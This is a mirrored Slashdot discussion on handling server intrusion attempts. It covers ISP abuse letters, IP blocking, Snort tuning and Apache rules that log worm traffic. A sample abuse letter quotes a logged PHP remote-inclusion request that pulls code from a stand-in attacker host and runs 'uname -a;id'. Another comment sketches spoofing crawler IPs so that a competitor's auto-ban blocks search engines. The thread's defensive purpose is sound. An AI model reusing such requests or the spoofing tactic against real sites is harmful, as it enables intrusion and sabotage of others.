Slashdot Mirror


Dealing with Intruders?

drakyri asks: "I've been running a server for a small company for a few months. Recently, the number of attempted intrusions has jumped from about one every week to several per day - and these are only the really obvious attempts, like idiots who try to log in as root from the outside. The problem is that I'm not sure what to do about this. I've got their IP addresses and can usually tracert their ISP's - is there an accepted type of letter to send them without seeming like one of the corporate cease-and-desist gnomes?"

17 of 656 comments (clear)

  1. Re:Your firewall.... by Anonymous Coward · · Score: 4, Interesting

    Yeah cause, there's no such thing as Dynamic IP addresses.

    Better advice would be to only allow login connections (eg sshd) from known IP addresses.

    Other measures depends on what services you are trying to secure, but make sure you've run through the http://www.cisecurity.com/ lvl 1 benchmarks on an Internet connected machine (at the very least run the scoring tool).

  2. My basic template to ISPs by BrynM · · Score: 4, Interesting
    Please note that this is innefectual to send to some ISPs. You won't always get a response. Look everything up first! Go look up who owns an IP at ARIN and who has registered domain names at a lot of different places. Think hard before you send unless you write something automated - You may not want to send anything to someone who is actually the kiddie that attacked you. The result of that mistake is annoying. Trust me.

    Due to abuse, the following IP address(s) have been banned from accessing
    mydomain.com and it's associated services. The abuse is detailed as
    follows:

    IP(s) Banned: 216.nnn.225.nn

    Owner:
    OrgName: SOME ISP
    Address: 2 Hacker Home Street
    City: Isabel
    StateProv: CA
    PostalCode: 01120
    Country: US
    Admin Address: noc@someisp.net

    Reason:
    Malformed URL - Attempted PHP Exploit
    "216.nnn.225.nn - - [11/Aug/2004:10:03:03 -0700] "GET
    /themes/default/theme.php?THEME_DIR=http://w ww.evil-hacker.
    net/1.jpg?&cmd=uname%20-a;id; HTTP/1.0" 400 352"

    Severity: 5

    Remaining bans until entire address block banned: 3

    If you have any questions or need further explanation, please contact
    admin@mydomain.com.

    You
    Your Title
    Your Contact Info
    --
    US Democracy:The best person for the job (among These pre-selected choices...)
  3. Re:Create a honeypot by welshwaterloo · · Score: 5, Interesting

    IMHO - If you're not completely sure your network is 101% secure, or you don't have several free hours a day it would be a bad idea to drop a honeypot anywhere near your network.

    Think about it - it's a slap in the face to the would-be hacker.. It's like you're leading him on, then saying "Ner Ner!" when he breaks into the pot.
    If your hacker is serious, he's gonna be really pissed about this.

    Secure your network & keep it secure - no need to stir 'em up.

  4. Somewhat offtopic, but how do people deal with DOS by bretharder · · Score: 5, Interesting

    Somewhat offtopic, but how do people deal with DOS attacks?
    I've had a person harrasing the forums at a website that I host.
    I banned by IP and then he started using proxys,
    so I had to write a script to ban his IP each time he logged in,
    of course then he started creating new accounts;
    so I had to change the forum registration to one account per unique email address.
    And then he tried to DOS the site by visiting the site and locking down his F5 key.
    (He accually confessed this to me in IRC; he had 4 other people do this with him.)
    I sent Comcast (his isp) the IRC logs & the network monitor logs.
    They sent me a generic response saying "blah blah blah.. this is an automated response".
    And thats it.
    So how do other /.ers deal with situations like this?
    It's a personal website, and I don't have the funds to hire a lawyer.
    I've banned his IP and ~6000 proxy IPs, but he still keeps getting through.

  5. Re:Corporate Gnome by JWSmythe · · Score: 4, Interesting


    No shit.. :)

    I've received some really nasty Emails over the years from winners who just installed some firewall on their home machine, and wonder why we're sending packets to him from our port 80 to some high port on his machine. They're all demanding that we stop or they'll sue, blah, blah, blah.

    I write a real friendly note back saying "sir, you were visiting a porn site at http://example.com. from which you detected the data coming back to you exactly as you requested. yada, yada, yada"

    Once in a while our provider will get a new person in their abuse department, and forward those over. I kindly remind them to go back to their supervisor and ask them exactly what this traffic would mean. Then I write them a friendly letter explaining the basics of the Internet. :)

    They are generally good about sending us only real problems, which are usually about sublet IP blocks. I either pass it on to their sales rep, or call them myself. Most customers I've delt with are very friendly about it.

    We did have a federal agent show up in our office one day, about a hacking attempt from one of our networks (a sublet line). I called the sales rep, got the customer on the line, and they were already aware of it. It was an old unpatched machine, that they had taken offline a few days prior because they had already found it was broken into. They were still examining it, and offered to hold onto the drive for the investivator. I really like good customers.

    --
    Serious? Seriousness is well above my pay grade.
  6. Re:Yes, there are several good ways. by JWSmythe · · Score: 3, Interesting


    Damn, you must have a lot of time on your hands..

    We actively block viruses at the mail server, and our logs show over 20k came towards us yesterday. Want to parse my logs and report the infected machines? :)

    And yes, we don't send the automagic "We received a virus" notices. Those are just plain annoying considering most headers are faked.

    --
    Serious? Seriousness is well above my pay grade.
  7. Re:Ignoring it == raising criminals by BlackHawk-666 · · Score: 4, Interesting
    If you don't want to ignore them, but rather take some action then you can combine tripwire (IIRC) with a shell action that firewalls their IP address. I used to do this for my home machine, but it's not really recommended for business machines. Here's what I did:

    Set up tripwire to detect incomming conenctions to 139, 1433 and other ports that people shouldn't be attempting to reach.

    Any attempts to open got a IPTABLES rule added against their IP

    Every couple of weeks I'd clear it down and let it build up again

    There would be better ways to do this, but it was mainly for basic home security and I wasn't worried about blocking whole companies (because of NAT/Proxy) because of one dick in the place. YMMV.

    --
    All those moments will be lost in time, like tears in rain.
  8. Re:Snort + Guardian by Umrick · · Score: 3, Interesting

    We ran this configuration for about 3 months. The problem is the shear number of false positives by the default snort rules. If you can't spend the time trimming down the ruleset to bare minimum to cover your needs, you will be locking out end users.

    Classic for us was one user who had multiple domains with us got blocked every time she went to view one of her pages. Turns out the snort rule was so generic it was just looking for /calendar, so anything containing that would get trashed.

    In the general sense, most likely you won't get a whole lot of cooperation from the ISP (gone are the days of the minions at Erol's). Stay patched, use common sense, and ignore it.

  9. Ignoring it == making the problem worse by SgtChaireBourne · · Score: 4, Interesting
    The network administrator at one site I was at reduced the number of intrusions by more than 1/3 over a 2 month periond and kept it down the whold time she kept the job.

    How? When she found out about attacks and attempted intrusions, she got on the phone with the netblock owner and gave them an earful and followed up until something happened, even if it was only a small improvement. If need be, she reported it to the police and was even able to convince them that crime was an area of their responsibility even if they did not currently have the expertise.

    The attacks dropped off rapidly after a few weeks. And since shed kept notes about who she talked with, when and about what, there was very little runaround. When she started that, it took about 45 minutes per day, but by the end it was down to around 15 on average.

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
  10. Re:Abuse@ by AllUsernamesAreGone · · Score: 4, Interesting

    At least in the UK (where I have themost experience fo computer laws), attempting to gain unauthorised access to a machine is a criminal offense under the Computer Misuse Act 1990, even conspiracy to do it is an offense. This is true whether you are a UK national or not - if you attack a machine in the UK and a report is passed to the police and the police investigation identifies you then the minute you set foot on British soil you could be arrested and prosecuted under the act (significant offenses may even result in extradition). I know several other countries have similar laws, I expect the US has as well.

  11. Google's Cache of above page. by Ch_Omega · · Score: 3, Interesting

    Seems like me posting that link, has resulted in it exceeding its allowed bandwidth. Here's the Google Cache.

  12. I agree! by Mold · · Score: 5, Interesting

    Back when I was 13 or so, one of my friends had convinced me that trying something like this would be fun. I was a bit reluctant, but I had some knowledge of Unix and networking, and it did sound like fun.

    We never actually got into anything, but the next day I got an e-mail from one of the companies we had attempted to break into, politely asking me to stop. It scared the shit out of me and I never attempted anything like that again.

    And to be honest, the fact that I'd been caught and asked to stop (nicely!) impressed me far more than any of the hackers out there.

    1. Re:I agree! by LaCosaNostradamus · · Score: 3, Interesting

      This essentially sums up my shoplifting experience as a young teen. I was warned that I was seen taking an item, and that I should go back and "find" it and return it. I went to the back of the store, pulled the gum out of my pocket, and returned it to the shelf. No police, no threats ... but a firm reminder that I was as "caught" as they wanted me to be. The scare factor worked, and I never shoplifted again. Kids are kids, and the entire thing seemed wisely handled.

      --
      [You have a stable society when some nut guns down a schoolyard and the law doesn't change.]
  13. Re:This is more fun! by Tassach · · Score: 3, Interesting
    Why waste bandwidth and CPU time sending a page back to what's most likely a worm-infected machine? The default 404 response is more than adequate. His RedirectMatch hack is pretty good, but you can use the same regexps in SetEnvIf rules:
    #regexp rules to set environment variables
    SetEnvIf Request_URI "(regexp1)" ATTACK
    SetEnvIf Request_URI "(regexp2)" ATTACK
    ...

    # Anything that matches a worm/virus attack pattern goes in a special log
    CustomLog logs/attack_log common env=ATTACK

    # Everything that's not an attack goes on the normal log
    CustomLog logs/access_log common env=!ATTACK
    This puts all the zombie/worm attacks into a seperate log file. This also allows me to have logrotate truncate the attack_log and the access_log on different schedules.
    --
    Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
  14. Re:This is more fun! by Tassach · · Score: 3, Interesting
    Opps... forgot the most important part:
    <Location />
    Order Allow,Deny
    Allow from all
    Deny from env=ATTACK
    ErrorDocument 403 "Worm Attack Suspected - Access Denied
    </Location>
    You could replace the errordocument with a PHP or CGI to send back a page of shame instead of static text, but why bother?
    --
    Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
  15. Re:Two things by justMichael · · Score: 3, Interesting
    I'm sorry, but how is adding an incoming port block on a firewall going to prevent using google? Serving up a quake server, maybe, but outgoing surfing and the like sure isn't going to stop him.
    Blocking googls IPs isn't going to keep you from searching, but it will keep google off your site.

    Example: A competitor that just happens to rank higher than you automatically drops packets from any IP that trys an invalid login.

    You go through your logs and generate a list of all google's bots and then launch an "attack" against your competitor spoofing those IPs. You just stopped google from indexing their site. Move on to Yahoo and any other search engine you feel like.

    Granted somebody is going to be watching the logs and start to wonder why google hasn't visited in a while, but you get the point.
  16. Re:Very Easy by Chazman · · Score: 5, Interesting
    Oh ho. So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

    No. Trying a door handle does not imply mal-intent. It's the response when a door handle actually works that matters. I'll give you an anecdote. I was arriving at a semi-nice restaurant in a somewhat out of the way area of an otherwise nice town. Parking was scarce, so I had to park on a tiny unlit side-street. Walking toward the restaurant from my car, I saw another car on the street with its dome light on. It was obvious from a reasonable distance that there was no one in the car, but there was a pocketbook left on the front seat. Being a good sumeritan, I said "that won't do -- the pocketbook will get stolen, and the dome light will drain the battery". So I tried the door handle. To my surprise, it opened. I quickly turned to dome light off, closed the door again, and walked away. Turns out this was a sting. There had been a bunch of thefts from cars in the area recently, and this being a good town, the cops had enough time to set up a honeypot to try to catch the perp. They were quite chagrined to find someone go for the bait for an entirely altruistic reason -- to prevent a stranger from becoming the dual victim of a theft and a dead battery. Maybe I took a risk by trying that door handle and attempting to do some good. But how would you know if you deign to put a boot up my arse the instant I touch the doorhandle?

    Perhaps the analogy doesn't port over all that well to scans of TCP ports, but it wasn't I who began that analogy; I'm just answering it.

    --
    -----Chaz